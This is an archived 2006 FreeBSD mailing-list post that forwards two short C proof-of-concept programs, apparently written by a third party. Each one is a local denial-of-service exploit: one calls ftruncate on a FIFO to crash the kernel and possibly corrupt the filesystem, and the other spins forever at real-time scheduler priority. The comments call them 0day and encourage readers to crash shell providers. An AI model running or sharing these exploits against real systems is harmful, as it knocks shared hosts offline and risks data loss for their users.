Skip site navigation (1)Skip section navigation (2)
Date:      Fri, 13 Oct 2006 11:21:17 -0400
From:      "aegis" <aegis@ircwire.net>
To:        <freebsd-questions@FreeBSD.org>
Subject:   Not sure about...
Message-ID:  <000601c6eedb$3b804b70$6400a8c0@azrael>

next in thread | raw e-mail | index | archive | help
I'm not sure if this is the address I shuold be contacting, although I =
feel this is severely important...

  1.. /* FreeBSD cvs commit: src/sys/ufs/ufs/ufs_vnops.c maxim =
2006-05-31 13:15:29 UTC
  2..    Log: According to POSIX, the result of ftruncate(2) is =
unspecified
  3..    for file types other than VREG, VDIR and shared memory objects.
  4..    We already handle VREG, VLNK and VDIR cases.  Silently ignore
  5..    truncate requests for all the rest. PR kern/98064
  6..=20
  7..    lol lol, thatz true. kokanin@gmail lolling it out in '06 =
!"#%&%(20061013)(=3D"#"!
  8..    tested on FreeBSD 6.0-RELEASE-p5, 6.1-RELEASE-p10 (latest at =
the time of writing)
  9..    - it just makes the system reboot, and with a bit of luck fucks =
up the filesystem.
  10..    wow, that sort of makes this 0day local freebsd denial of =
service for non-CURRENT or whatever.
  11..    usage: ./run me and wait a moment.. woo, it's friday the 13th, =
go crash some shell providers.
  12..   =20
  13.. */
  14..=20
  15.. #include <fcntl.h>
  16.. #include <unistd.h>
  17.. #include <sys/types.h>
  18.. #include <sys/stat.h>
  19..=20
  20.. int main(){
  21.. mkfifo("lol",0x1b6);
  22.. int fd =3D open("lol",O_RDWR);=20
  23.. ftruncate(fd,12345);
  24.. close(fd);
  25.. }=20

  1.. /* FreeBSD cvs commit: src/sys/posix4/p1003_1b.c davidxu =
2006-05-21 00:40:38 UTC
  b..=20
  3..    Log: Don't allow non-root user to set a scheduler policy, =
otherwise this could be a local DOS.
  4..    lol lol, thatz true. kokanin@gmail lolling it out in '06 =
!"#%&%(20061013)(=3D"#"!=20
  5..    tested on FreeBSD 5.5-RELEASE, 6.0-RELEASE-p5, 6.1-RELEASE, =
6.1-RELEASE-p10 (latest at the time of writing)
  6..    wow, that sort of makes this 0day local freebsd denial of =
service for non-CURRENT or whatever.
  7..    usage: ./run me and wait a moment.. woo, it's friday the 13th, =
go crash some shell providers.
  8.. */
  9.. #include <sched.h>
  10.. int main(){
  11.. struct sched_param lol;=20
  12.. lol.sched_priority =3D sched_get_priority_max(SCHED_FIFO);=20
  13.. sched_setscheduler(0,SCHED_FIFO,&lol);
  14.. for(;;){}
  15.. }=20




Want to link to this message? Use this URL: <https://mail-archive.FreeBSD.org/cgi/mid.cgi?000601c6eedb$3b804b70$6400a8c0>